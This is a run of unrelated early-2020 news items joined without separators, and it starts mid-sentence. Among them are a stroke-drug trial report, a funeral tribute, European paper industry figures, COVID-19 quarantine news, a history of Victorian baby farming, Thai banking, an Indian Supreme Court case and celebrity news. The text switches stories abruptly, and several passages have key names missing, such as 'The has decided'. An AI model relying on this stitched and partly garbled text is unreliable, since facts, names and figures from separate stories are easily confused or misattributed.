Clinical Neurosciences and Radiology at the CSM. "In the patients who received both drugs, the alteplase negated the benefits of the nerinetide." Hill says the study provides evidence of a biological pathway that protects brain cells from dying when they are deprived of blood flow. Nerinetide targets the final stage of the brain cell's life by stopping the production of nitric oxide within the cell. "We really believe this is a new scientific observation," says Hill. "There is evidence nerinetide promotes brain cell survival, offering neuroprotection until we can extract the clot. It opens the door to a new way of treating stroke." Images of patients' brains from the study show the expected size of the damage from the stroke is sizeably reduced when nerinetide is administered and EVT is performed among patients not concurrently receiving alteplase. After so many studies investigating neuroprotective drugs failed, we are extremely excited by these results. While nerinetide is not approved for use yet, it shows the potential of a new tool to promote recovery from stroke." Dr. Mayank Goyal, MD, PhD, neuroradiologist at the FMC, and clinical professor in the Department of Radiology at the CSM Worldwide, 15 million people suffer a stroke each year - that's one every nine minutes in Canada and every 90 seconds in the United States. The results can be devastating. Ischemic stroke, the most common, is caused by a clot in a blood vessel in the brain. The sudden loss of blood flow causes brain cells to die, which can permanently affect speech, vision, balance and movement. The international trial enrolled 1,105 patients between March 2017 and August 2019 at centres in North America, Europe, Australia, and Asia - a global academic collaboration bringing together scientists, clinicians, funding agencies, and industry. "The collaboration between NoNO Inc., the University of Calgary and investigators at 48 leading stroke hospitals around the world has shown how effective such an academic-industry partnership can be in running high-quality, foundational stroke trials that can lead to positive changes in clinical practice," says Dr. Michael Tymianski, MD, PhD, CEO of NoNO Inc. and the inventor of nerinetide. The results in the current study, called the ESCAPE-NA1 Trial, build on the success of the ESCAPE trial, in which the Calgary Stroke Program proved that a clot retrieval procedure known as EVT can dramatically improve patient outcomes after an acute ischemic stroke. During the procedure, a catheter is inserted in the groin and guided through blood vessels into the brain. A tiny metal mesh device is used to grab the clot and pull it out. The current study investigates whether administering nerinetide in addition to clot retrieval improves the patient's ability to recover. The funeral of Gerry Burns, former chief executive of Fermanagh District Council, at St Michaels Church, Enniskillen The emotional words of the son of former Fermanagh District Council chief executive Gerry Burns were met with a round of applause as he paid tribute to his father at Requiem Mass yesterday. Mr Burns, who had a long and distinguished career in public service, died on Tuesday, aged 85, following a short illness. After retirement he took on the role of ombudsman for Northern Ireland and authored the Burns Report into post primary education in 2000. Among numerous other achievements, Mr Burns was instrumental in helping set up the Spirit of Enniskillen Trust after surviving the Remembrance Day bomb in 1987. "Dad would have been very pleased to see so many familiar faces here today," his son John Burns told the hundreds of mourners in St Michael's Church Enniskillen. "That shows the high regard he was held in. As with many things in his life, he had a positive impact on Enniskillen and the wider Fermanagh area. He worked tirelessly. "But to us he was a devoted husband, father and grandfather. "He was always there to guide us all and would always take time to help and support. "He was a very warm, caring man, respected, admired and loved. He was my best friend. "I would call him every day from the US to check on him, but he was always more interested in me, thinking about how he could help. "In later years he was devoted to the care of our mother. He called her his 'wee star' and always thought she was too good for him. She'd always tell him 'catch yourself on'. Their love never faded." He added: "He always set an example of how to love and care. He was the anchor for our family. If I am half the man he was I'd be very happy and I know he will look down on his family with pride." Addressing those in the church, Rev Raymond Donnelly paid tribute to Mr Burns' contribution to life in Fermanagh during his years of public service, after moving from Belfast to Armagh and finally setting in Enniskillen. "Born in west Belfast, Gerry was educated at St Mary's CBS and took on a number of office positions in his early working life, but returned to full time education by taking a degree in economics at Queen's University," said Rev Donnelly. "He had met Moyra (Maire) in 1961, a nurse at the Mater Hospital. They were married in 1962. It was love at first sight, despite Gerry turning up on a scooter for their first date. "Gerry had a love of learning and went on to teach at the technical college in Armagh after his degree. He moved up the ranks quickly, and by 1976 was appointed chief executive of Fermanagh District Council. "He took on a very challenging position with a vision and a determination. His focus was on making life better for the people of Enniskillen and I know he was proud of his achievements like the Ardhowen Theatre, the redevelopment of the town hall and the shopping centre, to name but a few." Rev Donnelly said that Gerry's dedication to service continued long after his retirement in 1996. "Even in retirement he would not rest," said Rev Donnelly. "He took on a huge number of roles, including ombudsman for Northern Ireland, compiled the Burns Report into post primary education, was Pro Chancellor of the Ulster University, on the board of the NI Tourist Board, a member of the Irish Times board and a member of the Heritage Lottery Fund. He received honorary doctorates from Queen's University and Ulster University, but what mattered most to Gerry was service, not titles. If a job needed done, he got on with it. "A survivor of the Enniskillen bomb, he was shocked and saddened at the number of deaths and along with Gordon Wilson, helped set up the Spirit of Enniskillen Trust. He was honoured with an OBE for his efforts. "His short illness and death came as a shock to his family and friends, but in his final days he displayed a serenity and peace." A death notice described Mr Burns as the beloved husband of the late Moyra, loving father of Gerard (Cathy), Declan (Kath), Yvanna (Neil), Nuala (Paul) and John (Laura). Burial took place in Cross Cemetery following Requiem Mass. European Paper and Board Production in 2019 Follows EU Economy Downward Trend, But Market Pulp Up European paper and board production follows the 2019 EU economy downward trend, in contrast with a significant uptick in market pulp production as a result of export market demand. Feb. 21, 2020 - Cepi announced that according to preliminary figures, the European paper and board production has decreased by 3.0% in 2019 compared to the previous year. European Paper Industry countries covered by the data are: Austria, Belgium, Czech Republic, Finland, France, Germany, Hungary, Italy, Netherlands, Norway, Poland, Portugal, Romania, Slovakia, Slovenia, Spain, Sweden, and the United Kingdom. European paper and board production follows the 2019 EU economy downward trend, in contrast with a significant uptick in market pulp production as a result of export market demand, Cepi noted 2019 saw new capacities coming on stream, and upgrades of existing ones, but closures and lower production operating rates dragged down paper and board production. This downward trend was observed in all the top paper and board producing countries. The slowing down of the EU's economy in 2019 from 1.9% in 2018 to 1.1% in 20191 combined with global instability and trade tensions, impacted the European paper and board consumption, which recorded a 4% decline. Paper and Board Domestic paper and board deliveries in Europe went down by 2.6% compared to 2018, while imports declined by 3.9% according to preliminary figures. Paper and board exports grew by close to 0.9%. Contrary to previous years, packaging paper and board production remain relatively stable in 2019, unable to offset the on-going decline of graphic grades. The overall production of graphic grades newsprint and printing & writing papers fell by more than 8.0% in 2019. Tissue The production of sanitary and household papers registered a limited growth, +1.0%. Pulp Total pulp production (integrated pulp, plus market pulp) increased by 0.8%. It was over-performed by market pulp production which jumped by 6.1%, as a result of recent massive investments in new capacities. This growth in production is driven by the export market demand. Similarly, exports of market pulp jumped by close to 40% in 2019 according to Eurostat. To respond to this higher demand, the European paper industry has invested significantly to increase the production of market pulp and further implement the bio-refinery concept. These investments combine higher efficiency in raw material use and the production of highly innovative bio-based products, besides market pulp. Pulp produced in Europe comes from sustainably managed forests, for example through programs like PEFC (Programme for Endorsement of Forest Certification) and FSC (Forest Stewardship Council), and is increasingly used in various value chains. The level of certified wood, chips and sawmilling by-products was 74% in 2018. 1 Source: European Commission. About Cepi Cepi is the pan-European association representing the forest fibre and paper industry. Through its 18 national associations CEPI gathers 495 companies operating more than 900 pulp and paper mills across Europe producing paper, cardboard, pulp and other bio-based products. Cepi represents 22% of world production, EUR 82 billion of annual turnover to the European economy and directly employs more than 177,000 people. From forest fibre technology to advance paper design the industry currently invests EUR 5.5 billion annually and is a leader of the low carbon circular bioeconomy transition. Cepi's 2050 'Investment Roadmap' outlines the industry's vision to advance this transformation in Europe through value creation and decarbonisation. To learn more, visit: www.cepi.org . SOURCE: Cepi (Confederation of European Paper Industries) Share this: Twitter Facebook WhatsApp LinkedIn Email Telegram The Committee to Protect Journalists joined 27 other press freedom and human rights organizations in a letter dated February 19 calling for authorities in Togo to maintain the stability and openness of the internet and social media platforms. The call came in response to concerns that the government intends to shut down or disrupt the internet during the presidential elections scheduled for February 22. The letter, addressed to Cina Lawson, Togos minister of posts, digital economy, and technological innovations, encourages the government to undertake the necessary measures to ensure that the internet service providers and relevant actors ensure an open, accessible, and secure internet throughout Togo during this electioneering period. The letter notes that the Togolese government is currently facing a court case alleging that its internet shutdown in 2017 violated citizens rights. To read the letter, click here. On behalf of Quang Ninh provincial Party committee, government and people, Deputy Secretary of the provincial Party Committee affirmed that the province will always support the Guangxi Zhuang Autonomous Region in drastically and synchronously implementing measures to control the COVID-19 epidemic. He hoped that the two sides will continue to coordinate closely and enhance their communication to help people raise their awareness of prevention and control of COVID-19 as well as effectively use relief goods from Quang Ninh to avoid the spread of the disease and boost bilateral trade activities. For his part, Deputy Secretary of the Party Committee of Guangxi Zhuang Autonomous Region, Sun Dawei, expressed his sincere thanks to the attention of Vietnam in general and Quang Ninh in particular to China. He also believed that China will soon fight against the epidemic and continue to maintain the stability in the trade, imports and exports between the two sides. Quang Ninhs donations to Guangxi Zhuang Autonomous Region is a testament to the close friendship and solidarity between the Parties, authorities and peoples of the two localities. The quarantined Diamond Princess cruise ship sits docked at the Daikoku Pier at night in Yokohama, Japan, on Feb. 20, 2020. (Tomohiro Ohsumi/Getty Images) Diamond Princess Evacuees Arrive for Quarantine in Canada OTTAWAA plane carrying 129 Canadians and their families who have spent weeks confined to cabins aboard a coronavirus-stricken cruise ship in Japan landed on Canadian soil this morning. The former Diamond Princess passengers can expect to undergo another two weeks of isolation at the Nav Centre in Cornwall, Ontario, where they will be monitored for potential signs of the coronavirus, or COVID-19. All of them were tested for the virus by Japanese officials before they left the ship, which has been docked in Yokohama, Japan, since early February. So far none shows any symptoms of the virus. The ship was the site of the largest outbreak of COVID-19 outside of China, where the virus originated. The Diamond Princess had more than half of the confirmed cases outside that country. There were about 250 Canadians originally aboard the ship, and of those 47 contracted the illness and were not allowed to return home. They remain in Japan for treatment while they receive consular services. Others who chose to stay behindwith loved ones who are sick, for instancewill be subjected to a mandatory quarantine when they return to Canada on commercial flights. Those who were allowed to return landed at Canadian Forces Base Trenton at 2 a.m. Eastern time, where they were screened for symptoms before they were taken by bus to Cornwall. They are to be confined to rooms in the Nav Centre until they are released from quarantine. The returning Canadians have been through a stressful experience over the past couple of weeks. During their quarantine in Canada, we will offer support for both their mental and physical well-being, Health Minister Patty Hajdu said in a written release Friday. The Diamond Princess evacuees will be subjected to the same screening as the Canadians who were repatriated from Wuhan, China, the centre of the outbreakhundreds of whom are to be released today. The 213 evacuees leaving quarantine at CFB Trenton were the first to arrive from Wuhan on Feb. 7. Government officials say none of the evacuees at the base has shown any symptoms of the virus during their stay. Hajdu says the government is helping all the evacuees with their travel plans, but all will be expected to make their own ways home from Ontario. When I first walked into my early Victorian terraced cottage in North London more than a decade ago, I was so struck by its deep sense of peace that I laid my cheek against the wall. Despite it being rather shabby and neglected, I felt there was something magical about it. And its not just me. My friends feel it too. As did a friend, Father Dermot, when he came to bless my new home. This cottage is already blessed, I remember him saying, as he sprinkled the Holy Water. A Victorian mother and her child are pictured above. Adoption agencies did not exist, so these terrified mothers would pay seemingly respectable women who advertised baby-care services to take their children in and care for them hopefully temporarily or find them a new home Its hard to explain, but I felt that good lives had been lived here, that since it was built nearly two centuries ago, kind souls had and been happy and protected within its walls. From the outside, it is a picture of homeliness, the kind of cottage a child would draw painted white, with a bright blue door, two windows either side, two more on the first floor, chimneys and a picket fence. Imagine my horror, then, when I discovered my perfect cottage had actually been a house of sorrow, that it hid a dark and terrible secret. A secret I only discovered after a friend who was a keen historian offered to research its history, identifying the occupants who had lived there back to middle of the 19th century. In those days, my friend revealed, the cottage comprised four small rooms upstairs, and a kitchen and sitting room downstairs. Next to Hampstead Heath, it was part of a rural village. Cows and sheep pastured on the Heath, and there were more horses than houses. The cottage had at one time been the home of a wine merchant and his family. At others, it was a lodging house with as many as a dozen people crammed in at any given time. And it appears to have been lodgings when the shocking story that scars this place occurred. The most prolific was Amelia Dyer, a 56-year-old woman who lived in Reading. She began advertising for babies to look after in 1895. She was hanged in 1896. It is believed she may have killed more than 400 babies over 20 years It is a story that highlights one of the great social scandals of Victorian Britain, known as baby farming a pitiless industry that led to countless tiny children being removed from their mothers only to face untold misery, illness and frequently death. In particular it is the story of one monstrous womans involvement in this ghoulish trade. The facts emerged as a result of diligently scouring court and prison records and contemporary newspaper reports and the more I came to know about it, the more horrified yet fascinated I became. Just before Christmas in the year 1876, there was a fateful knock on my front door. A woman had arranged to come to the cottage to collect a five-month-old baby called Nellie Harris. Nellies anxious mother, who had presumably come the cottage for the purpose, handed over her child almost certainly along with some money and the woman took the baby away. We could find no record of who Nellies mother was, but what we do know is that, within months of being taken, Nellie had died in the grimmest of circumstances. This stark fact alone was shocking enough. But worse, our researches revealed that Nellie was not the only child who died at the hands of the woman who took her away. At the inquest into Nellies death the woman said she was called Charlotte Fisher Green and portrayed herself as a devout Christian. In truth, she was a baby farmer, a merciless parasite in the gruesome fostering business that exploded around that time on the back of poverty and the shame and social stigma attached to having a child out of wedlock. Babies were fostered out by desperate mothers who could not keep them. Sometimes it was because they could not afford to, or because they feared becoming social outcasts if anyone discovered their child was illegitimate. Adoption agencies did not exist, so these terrified mothers would pay seemingly respectable women who advertised baby-care services to take their children in and care for them hopefully temporarily or find them a new home. The lucky children were well looked after and many went to loving families or to childless couples. But thousands of others, like poor little Nellie whose mother we think had responded to an advert placed by Charlotte Green, and had taken lodgings in my cottage in order to make the heartbreaking transaction with the baby farmer were neglected, starved, succumbed to disease or murdered. The most unscrupulous baby farmers demanded money up front rather than a monthly payment because it meant they profited if the child died, preferably quickly. Some of them dosed the infants with the lethal opiate laudanum or morphine to keep them quiet while they starved them to death. Others simply strangled them and disposed of the bodies. In Nellies case, the inquest in June 1877 coroners inquests for child deaths did not always take place, but there was one on this occasion found no evidence of violence. It revealed that Green took Nellie from my cottage in Hampstead to live at her home in Gravesend, Kent, over 40 miles away. The child was then five months old: it was very delicate and had a cough, she told the court. At some point in March or April she said she called the doctor but it was too late. Before Nellie died Green had her baptised the baby had not been christened, almost certainly because she was illegitimate. The coroner returned a verdict of death by natural causes. Which, on the surface, suggests Green was innocent. Yet there was plenty of circumstantial evidence to suggest otherwise. She claimed in court that she had seven nurse children under her charge ranging from less than 12 months to six years old. But the inquest was told there were at least 12 children in Greens care, six of them sleeping in two tiny beds in the kitchen, six on the floor. The doctor who attended Nellie shortly before her death reported that he found she was emaciated, that she had a large ulcer under her left ear and her left eye had completely gone from a skin infection. Her stomach was very small and her lungs were riddled with tuber-culosis. Green may have evaded justice on that occasion. But the death of another child confirmed her cruelty. Two years after Nellies inquest she was charged with the manslaughter of 18-month-old Ada Collynes, who was also being cared for in the house in Gravesend. By now news had filtered out that five children had died at her home within 12 months and the death of Ada caused a sensation. A local newspaper headlined the trial as The Baby Farming Case Of Gravesend, and the court was packed, with hundreds of people outside baying for justice. Adas parents were married but had fallen on hard times. Mr Collynes business had faltered and his wife had gone into service, pretending she was a single woman to get the job. They paid Mrs Green 2 8 shillings the equivalent of 290 today each month to care for their children Arthur, three, Ada and six-month-old Percy. Green wrote them regular reassuring letters saying the darling children are all well, even as Ada lay lice-ridden and dying. The courtroom heard from Dr John Henry Gramshaw, the doctor who finally attended poor Ada, that she had lice crawling out of open sores on her head. In 35 years as a doctor, he said he had never witnessed such filth or squalor. On entering the house, our noses were assailed with a fearful smell. It must have been the most shameful neglect anyone could conceive, he testified. Baby Adas body was in a dreadful condition, very emaciated. Her legs and forearms were swollen, her eyes sunken. He could count each of her tiny ribs. Indeed she was so malnourished that he estimated this girl, who was nearly two-years-old, weighed just 12 lb. The doctor said the seven or eight other children in the baby farm were all filthy and covered in vermin. He found five infants in one bed, three at the top end, two at the bottom, the linen leaping with lice and soaked with urine. There was another baby in a cot, and one hidden in a blanket behind a chair. He said he suspected there were even more children secreted in that hellhole. Greens husband, a bricklayer called James Martin, lived in a house a few minutes walk from her home, yet he claimed in court he knew nothing of his wifes sideline. Yet he was surely in on the vile business and it was likely that his wife joined him at home at night, leaving the children on their own, drugging them with laudanum to ensure they slept. Green was sentenced to 18 months hard labour for the manslaughter of Ada by neglect, starvation and other ill-treatment. It seems a shamefully light sentence given the horrors she inflicted. This was an age of shocking infant mortality and one in which the unscrupulous could get away with murder quite literally where children were concerned. For Green was hardly the only woman to ply this despicable trade. The author of an undercover investigation sent a letter to The Times in 1870, which concluded: My conviction is that children are murdered in scores by these women, that adoption is only a fine phrase for slow or sudden death. It was a view borne out by the fact that, in the 40 years after the letter was published, no fewer than eight baby farmers were hanged across Britain. From the outside, it is a picture of homeliness, the kind of cottage a child would draw painted white, with a bright blue door, two windows either side, two more on the first floor, chimneys and a picket fence. Imagine my horror, then, when I discovered my perfect cottage had actually been a house of sorrow, that it hid a dark and terrible secret The most prolific was Amelia Dyer, a 56-year-old woman who lived in Reading. She began advertising for babies to look after in 1895. Within a year, the corpse of a 15-month-old girl was recovered from the Thames. Helena Frys body was wrapped in brown paper bearing the name of a Mrs Thomas a pseudonym Dyer used along with her address. A month later, two more tiny corpses were discovered and in total, seven dead babies were retrieved from the waters. All of them had been strangled by Dyer who confessed after she was arrested. She was hanged in 1896. It is believed she may have killed more than 400 babies over 20 years. Another notorious baby farmer was Margaret Waters, a 35-year-old widow who placed adverts in local newspapers in South London claiming that a married couple were looking for a baby to adopt. A father whose daughter had an illegitimate child paid Waters 2 240 today to take the child. But later he was contacted by police, who had found his grandchild, along with ten other children, barely alive. Waters had drugged the children with laudanum and starved them. Five of the babies, including his grandchild, later died. Annie Tooke was condemned to death after charging a 12 downpayment (1,440 today) and 5s (350) per week to look after a child whose headless torso was later found in the Thames in 1879. The so-called Finchley Baby Farmers Annie Walters and Amelia Sach, who took in expectant mothers and offered to raise their children in their house in Finchley North London were convicted of the murder of a three-month-old boy and are believed to have killed more than 20 children. The truth is Green, the woman who allowed little Nellie to die after the baby was taken from my cottage, got off lightly. According to newspaper reports, when she was sentenced after the death of baby Ada Collynes in Gravesend, the crowds cheered and chased after her down the street as she was transferred from court to prison. But she was never held to account for the five other infants who perished during that year in her home. So vulnerable, so young, these children suffered a terrible fate and yet it is some small consolation that their names Minnie Godden, Florence Green, Dora Creig, Clara Cooper and, of course, Nellie Harris were recorded for posterity. Their short lives were acknowledged at least, they werent just disposable fodder for this hideous trade. It somehow serves to make their innocence all the more poignant. There is so much I dont know about little Nellie why she was given away, who her mother was or why she was lodging at my house. Was the landlady complicit in the baby farmer trade, or simply a kind woman who had offered a place to stay to an anxious woman and her baby? Whatever the truth, my cottage would have been the perfect rural hideaway for Nellies mother to have her child in secret pregnant single mothers often concealed their swelling bump, then slipped away from their everyday lives to give birth before handing their child over for adoption. Nellies mother must have hoped she was delivering her child into a happier life by the beach in Gravesend. Tragically, our research has shown she was woefully mistaken. But do I believe this tale of sorrow and death has cast an indelible stain upon my home? No, not for one moment. For as Father Dermot said, this cottage is filled with goodness. And I now imagine little Nellies soul flitting about my home in the belief it was here, at least, that she enjoyed comfort in the arms of her mother. Research by Sue Connolly Indian Institute of Mass Communication students on Friday said they have called off their hunger strike against a fee hike after the administration accepted their demands. In a statement, the students said the last date for submission of second semester fees has been extended upto March 31, 2020, or till the finalisation of the new fee structure, whichever is later. The administration has agreed to share details of the committee that will decide the new fee structure and it also ensured students' participation in the panel, they said. The suspension of nine students for organising a talk on affordable has also been revoked, they added. The students had begun the hunger strike on Tuesday demanding an affordable fee structure. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Nirmala Sitharaman is attending the G20 finance ministers meeting this weekend in Riyadh. The formal name of the gathering is Summit on Financial Markets and the World Economy. It serves neither purpose. Between 2011 and 2013, I covered four summits for the Hindu Business Line where I was employed at the time. The first one that I covered was at Toronto. The second at Cannes. The third at Seoul. And the fourth at Los Cabos in Mexico. It had become clear even in 2011 at the Toronto summit, that it was a complete waste of time, for a very simple reason: Wall Street and ... For Thailand's oldest banking family, it's a legacy-defining deal 25 years in the making. That's how long Chartsiri Sophonpanich has been waiting to turn Bangkok Bank into a key regional player in Southeast Asia. His winning takeover bid for Indonesia's PT Bank Permata in December is a US$2.7 billion bet that now is the time to jettison decades of caution and secure his family's legacy for a fourth generation. It's an uncharacteristically bold move " some analysts say risky " for the 60-year-old banker whose early ambitions were laid low by the Asian financial crisis. But after years of lagging behind rivals by playing it safe, the Permata acquisition could be Chartsiri's last big chance to revitalise the US$9 billion lender that enjoyed breakneck growth under both his father and grandfather. "Where there is danger, there is gain," said Piti Sithi-Amnuai, the Thai lender's 87-year-old chairman, who has worked at the bank for more than half a century, overlapping with Chartsiri's grandfather Chin and father Chatri. "Chartsiri's legacy is to grow Bangkok Bank even greater than his grandfather. I believe that is his aim, his goal." Chin Sophonpanich founded Bangkok Bank in 1944, when he branched out from selling construction materials and canned goods. He went on to become one of the region's most prominent bankers, financing the empire-building of ethnic Chinese tycoons in Southeast Asia including Malaysia's richest man Robert Kuok. One of Chin's grandsons is Bernard Chan, convenor of HK's executive council and deputy to the National People's Congress of China. When Chartsiri " known as Tony " took over as president in 1994, Bangkok Bank had a market capitalisation of US$8.2 billion, the most among Southeast Asian lenders. But the Asian financial crisis, which originated in Thailand and triggered a currency devaluation, hit the country's banks hard. Within a year, Bangkok Bank's value had shrunk to US$2 billion. Story continues Chartsiri, in his late 30s at the time, had to battle a mountain of non-performing loans that peaked at more than 40 per cent of the bank's total lending. The lender was forced to make several rounds of share sales, diluting the Sophonpanich family's holdings to about 13 per cent by 1999 from about a third before the crisis. Some of Chartsiri's trademark caution stems from the searing experience of those days, Piti said. In the years that followed, Bangkok Bank lagged behind local rivals in growing assets and failed to translate Thailand's largest branch network into a meaningful retail expansion, according to Bloomberg Intelligence analyst Diksha Gera. Instead it stuck to what it knew best " corporate lending. Kasikornbank and Siam Commercial Bank grew their share of consumer banking and later ventured into wealth management to tap into the country's increasing prosperity, overtaking Bangkok Bank. Regional lenders like Singapore-based DBS Group Holdings raced ahead via acquisitions. As rivals overtook it, Chartsiri looked for a time at domestic deals but saw few opportunities for growth in Thailand's saturated market, according to a person familiar with his thinking. Permata had been on his radar for years and when it came on the market, he shed his conservatism and got involved in the detailed planning, said another person familiar. Both people asked not to be identified discussing private matters. The purchase crystallises an ambition to build a leading regional bank that Chartsiri articulated just after taking over as president. Concerns about the deal are reflected in the lender's shares, which fell 5 per cent in the month following Bangkok Bank's winning bid, compared with a more than 1 per cent gain in Thailand's benchmark index. Chartsiri has said he plans to keep the current management in place and grow return-on-equity to double digits from about 7 per cent now. Bangkok Bank's own ROE has languished below 9 per cent from 2016 on, and is currently 2 percentage points below the average for Thailand's major banks, according to data compiled by Bloomberg. It's uncertain whether the bank "would be particularly skilled at turning Permata around or pushing it to new levels" given its limited presence in Indonesia and inexperience with acquisitions, said Kevin Kwek, an analyst at Sanford C. Bernstein in Singapore. The deal to buy Permata from Standard Chartered and Jakarta-listed PT Astra International still needs approval from Bangkok Bank shareholders and regulators in both Thailand and Indonesia. Prapas Tonpibulsak, the chief investment officer at Talis Asset Management, which owns shares in the lender, is more optimistic, calling the move overseas "game changing". The price tag of 1.8 times book value for the largest overseas acquisition by a Thai lender is justified, he said, as "Permata is an exceptional case because it's a rare opportunity." The lender offers Bangkok Bank access to an attractive market, with more than 40 per cent of Indonesia's 260 million population aged between 25 and 54, compared with Thailand's ageing population of about 70 million. It has exposure to corporate banking, retail lending and small- and medium-sized enterprises, as well as a network of 330 branches. "We believe that our Bangkok Bank customers can make good use of Permata," Chartsiri said in an interview last month. He and the bank didn't respond to questions on previous plans for an overseas takeover or the current size of the family's holdings. A successful acquisition would move Chartsiri out of the shadow of his father Chatri, who rapidly grew Bangkok Bank in the 1980s and early 1990s. Frequently pictured on the social pages with prominent figures including former Prime Minister Prem Tinsulanonda, Chatri was a dominating figure in Thailand's business circles. Prem Tinsulanonda, former Thai prime minister. Photo: AP alt=Prem Tinsulanonda, former Thai prime minister. Photo: AP Chartsiri has a reputation for working into the early hours of the morning and being more low-key. Educated at the Massachusetts Institute of Technology, he spent time at Citigroup in New York before joining Bangkok Bank in 1986 and being groomed to take over the family business. Although Chartsiri has been president for a quarter century, he's the second-youngest on a board of directors dominated by members in their 70s or 80s. Chairman Piti said Chartsiri's sons will probably take over the bank at some point, given the tradition among many ethnic Chinese business families. Chanond and Chanand, both in their 20s and in junior roles, were included in some discussions about the Permata acquisition, people with knowledge of the matter said. "It's best that they make the decision," Chartsiri said when asked whether he is grooming his children to succeed him. "Of course we give them the chance and opportunities." Additional reporting by SCMP Asia desk This article originally appeared in the South China Morning Post (SCMP), the most authoritative voice reporting on China and Asia for more than a century. For more SCMP stories, please explore the SCMP app or visit the SCMP's Facebook and Twitter pages. Copyright 2020 South China Morning Post Publishers Ltd. All rights reserved. Copyright (c) 2020. South China Morning Post Publishers Ltd. All rights reserved. GENEVA, Feb. 20 (Xinhua) -- The chief of the World Health Organization (WHO) said Thursday that the WHO-led international team investigating COVID-19 in China includes experts from research institutions from around the world. The team has been brought together through the Global Outbreak Alert and Response Network, which includes experts in epidemiology, virology, clinical management, outbreak control and public health, WHO Director-General Tedros Adhanom Ghebreyesus said at a daily briefing. He said that members of the team come from the National University of Singapore, the Saint Petersburg Pasteur Institute, the National Institute of Infectious Diseases from Japan, the Seoul National University College of Medicine from South Korea, the Nigeria Center for Disease Control, the U.S. Centers for Disease Control and Prevention, the U.S. National Institutes of Health, the Russian National Medical Research Center of Phthisiopulmonology and Infectious Diseases, and the Robert Koch Institute of Germany. Tedros said the international experts are working with their Chinese counterparts to find answers to some of the things still unknown about the virus, including its transmissibility and the impact of the measures that China has taken. The has decided to revisit its 2010 verdict in the disproportionate assets case of former Bihar Chief Minister in which it had held that the state government has no authority to file an appeal against acquittal in cases probed by central agencies. The issue cropped up as the Chhattisgarh government had to rush to the apex court in 2011 challenging the acquittal of Amit Jogi, the son of former Chief Minister Ajit Jogi, in a 2003 murder case as the CBI had not filed the appeal within the stipulated period. However, during the interregnum, the apex court's three-judge bench in 2010 had delivered a verdict in the Yadav DA case that the CBI, which was the prosecuting agency in the fodder scam, had the right to challenge the orders of the subordinate court and the state government had no locus standi. When Jogi's matter came up last week in the apex court, the Chhattisgarh government doubted the correctness of the 2010 verdict in Yadav's case and a bench of Justices S K Kaul and K M Joseph directed that the matter be referred to a larger bench. "Counsel for the State of Chhattisgarh seeks to doubt the judgment of this Court in and others versus State of Bihar and others, which is of a three-judge bench," the bench said. "We are thus of the view that it may be appropriate that the matters be placed before a three-judge bench itself so as to avoid further duplication of the hearing. The matters be thus, placed before Chief Justice of India for appropriate directions," it said. Advocate Sumeer Sodhi, appearing for the Chhattisgarh government, said that the apex court's judgement in the case is per incuriam (bad in law). He said the 2010 judgement needs to be reconsidered as it affects the substantial rights of all states to file an appeal against acquittal of an accused in a case investigated and prosecuted by the Central Bureau of Investigation or any other central agency. On April 1, 2010 the top court had held that the Bihar government did not have the authority to file an appeal in the Patna High Court against the acquittal of Lalu Prasad Yadav and his wife and former Bihar chief minister in a disproportionate assets case which was prosecuted by the CBI. It had held that the Centre and the CBI alone are the competent authorities to file the appeal against acquittal of an accused and the state government is excluded to challenge the trial court's order under the law. The Chhattisgarh government and the CBI had challenged the acquittal of Amit Jogi by the trial court in 2007 in the NCP leader Ram Avtar Jaggi murder case. The state government had filed the appeal before the high court in 2007 challenging his acquittal but the petition was dismissed in 2011 on the ground that only the CBI, being a prosecuting agency, had the jurisdiction to file the appeal. After three-and-a-half years, the CBI filed an appeal against the acquittal order of the trial court but it was dismissed by the high court on the ground of delay of over 1,300 days. On December 6, 2016, the top court had asked the CBI to come up with strong grounds for seeking condonation of delay on filing the appeal against the acquittal of Amit Jogi. The CBI had earlier contended before the apex court that it was not granted permission to file the appeal by the competent authority and when it got the permission, the appeal was filed. The Chhattisgarh government had argued that when CBI did not file the appeal before the high court, the state had filed the appeal but it was dismissed following the 2010 apex court verdict. It had said that the verdict in Yadav's case was erroneous and the CBI could not be allowed to have unbridled power of resorting to "pick and choose strategy" for filing appeal. "The decision of this court in Lalu Prasad Yadav's case, it is submitted, requires reconsideration for not only it is flawed in the manner in which it is construed in the statute, but unwittingly upset the delicate balance between the union and the state in relation to administration of justice," the state government's appeal has said. Jaggi was shot dead on June 4, 2003 and five persons were arrested by the state police and a charge sheet was filed against them holding that motive of the murder was robbery. The case was handed over to the CBI in January 2004 and the agency filed a charge sheet stating that Jaggi was shot dead by convict Chiman Singh for political reasons as a rally was being organised by him in Raipur on June 10, 2003, which posed a political threat to then chief minister Ajit Jogi and his son Amit Jogi. The CBI had alleged the murder was committed after a criminal conspiracy between Amit Jogi and others. The trial court had on May 31, 2007 acquitted Amit Jogi and convicted all other 28 accused persons in the murder case. He took Netflix by storm in the hit young adult romcom To All the Boys I've Loved Before, and is poised to become America's next big heartthrob. Actor Noah Centineo, who recently made headlines in a digital cover story for Men's Harpers Bazaar when he said he was sober, has clarified his approach to substance use on this weeks episode of the Variety and iHeart podcast The Big Ticket. The 23-year-old actor, who successfully completed a totally sober year before he turned 21, specified that he has since gone back to drinking and drinking only. Clearing the air: Actor Noah Centineo, who recently made headlines in a story for Harpers Bazaar when he said he was sober, has now clarified his approach to substance use; seen this month in Hollywood 'I left a lot in the past,' The Perfect Date actor explained, referencing drug use. 'Theres a lot that I dont do anymore. But when I have to work, I cut out everything.' Previously, the Miami, Florida-born hunk said he was much more likely to try various things. 'There wasnt really much I wouldnt do. I never, ever injected anything, which is good. I smoked a lot of things,' Noah told Bazaar.com for the February 11th feature. 'I was really upset, man. It was a really dark time in my life.' Junior hunk: The 23-year-old actor, who successfully completed a totally sober year before he turned 21, specified that he has since gone back to drinking and drinking only; seen The Tonight Show last month The fact that the Fosters star takes a serious approach to work has proven fruitful for him, since the actor has a plethora of projects in the works. After the sequel To All The Boys: P.S. I Still Love You hit Netflix last week, production is underway on a third installment in the series, also based on the Jenny Han novel. Regarding potential further work on that series, Centineo enthusiastically said in the podcast that 'if Jenny Han writes a fourth book, sign me up!' Opening up: Previously, the Miami, Florida-born hunk said he was much more likely to try various things Noah is also wrapping up work on The Diary, a WWII drama written and directed by none other than Jackie Chan. And as for his buzzy starring role as He-Man in the purported 2021 mega-blockbuster Masters of the Universe, shooting has unfortunately been postponed and Sony recently removed the Mattel film, based on the bestselling 1980's toys, from its release schedule. All Centineo was able to say about whether Masters is still happening was, 'Well see. Well see about that.' But, he said, he absolutely still wants to play a superhero. 'Id put on a leotard! Come on, Ill do it. Of course, I would do it.' 